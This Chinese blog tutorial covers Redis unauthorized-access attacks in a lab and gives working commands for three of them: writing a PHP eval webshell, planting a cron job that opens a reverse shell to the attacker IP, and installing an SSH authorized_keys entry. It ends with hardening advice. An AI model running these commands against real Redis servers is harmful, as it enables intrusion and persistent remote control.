redis未授权访问漏洞&简单利用&总结

Redis未授权访问漏洞

1、Redis是什么?

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。


相比于其他数据库类型,Redis具备的特点是:
C/S通讯模型
单进程单线程模型
丰富的数据类型
操作具有原子性
持久化
高并发读写
支持lua脚本

2、环境搭建和基本命令

安装环境:

Copy
下载 wget http://download.redis.io/releases/redis-4.0.11.tar.gz 解压 tar -zxvf redis-4.0.11.tar.gz 切换目录 cd redis-4.0.11 编译 make & make install 运行redis cp redis-benchmark redis-cli redis-server /usr/bin/

这里可能会出现两个报错或配置问题,解决方法参考:
https://blog.csdn.net/weixin_30572613/article/details/94879855
https://blog.csdn.net/rongDang/article/details/90601033
https://www.cnblogs.com/richerdyoung/p/8066373.html
1)启动 redis 服务器,打开终端并输入命令 redis-cli,该命令会连接本地的 redis 服务。

Copy
$ redis-cli redis 127.0.0.1:6379> redis 127.0.0.1:6379> PING PONG

在以上实例中我们连接到本地的 redis 服务并执行 PING 命令,该命令用于检测 redis 服务是否启动。
20在远程服务上执行命令
如果需要在远程 redis 服务上执行命令,同样我们使用的也是 redis-cli 命令。

Copy
$ redis-cli -h host -p port -a password

3、漏洞

kali:192.168.1.111
redis漏洞服务器:192.168.1.216

1)未授权访问漏洞

Copy
需要先在本地开启redis,然后远程登录有漏洞的redis redis-cli -h 192.168.1.216 查看敏感信息: redis 192.168.1.216:6379> info redis 192.168.1.216:6379> keys *

2)写入webshell

(需要知道web路径,这里假设为apache默认路径/var/www/html)

Copy
192.168.1.216:6379> config set dir /var/www/html OK 192.168.1.216:6379> set xxx "\n\n\n<?php @eval($_POST['z']);?>\n\n\n" OK 192.168.1.216:6379> config set dbfilename webshell.php OK 192.168.1.216:6379> save OK 192.168.1.216:6379>

然后蚁剑连接:
webshell.png

3)crontab里写定时任务,反弹shell

Copy
kali监听:nc -lvvp 4444 redis: 192.168.1.216:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.111/4444 0>&1\n\n" OK 192.168.1.216:6379> config set dir /var/spool/cron OK 192.168.1.216:6379> config set dbfilename root OK 192.168.1.216:6379> save OK 192.168.1.216:6379>

1分钟后,kali收到了返回的shell
cron.png
注意这里需要开启redis服务器上的crond服务

Copy
# service crond status crond is stopped # service crond start Starting crond

4)SSH免密登录redis服务器

这里需要redis服务开启了ssh服务
首先先在kali里生成ssh公钥和私钥,将公钥保存到key.txt,并且保存在redis服务器的缓存中

Copy
kali: root@kali:/root/.ssh#ssh-keygen-t rsa root@kali:/usr/local/redis# cat /root/.ssh/key.txt | redis-cli -h 192.168.1.216 -x set xxx OK root@kali:/usr/local/redis# redis-cli -h 192.168.1.216 192.168.1.216:6379> config set dir /root/.ssh OK 192.168.1.216:6379> config set dbfilename authorized_keys OK 192.168.1.216:6379> save OK 192.168.1.216:6379>

先看一下没有save前的ssh登录,需要密码:
ssh1.png
save之后不需要密码即可登录:
ssh2.png

4、防范方法

到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
>>修改 redis.conf 文件,添加
requirepass  mypasswd
3、在需要对外开放的时候修改默认端口(端口不重复就可以)
port 2344
4、以低权限运行 Redis 服务(重启redis才能生效)
>>为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
5、最后还可以配合iptables限制开放

posted @   zw1sh  阅读(847)  评论(0编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· AI 智能体引爆开源社区「GitHub 热点速览」
· 写一个简单的SQL生成工具
点击右上角即可分享
微信分享提示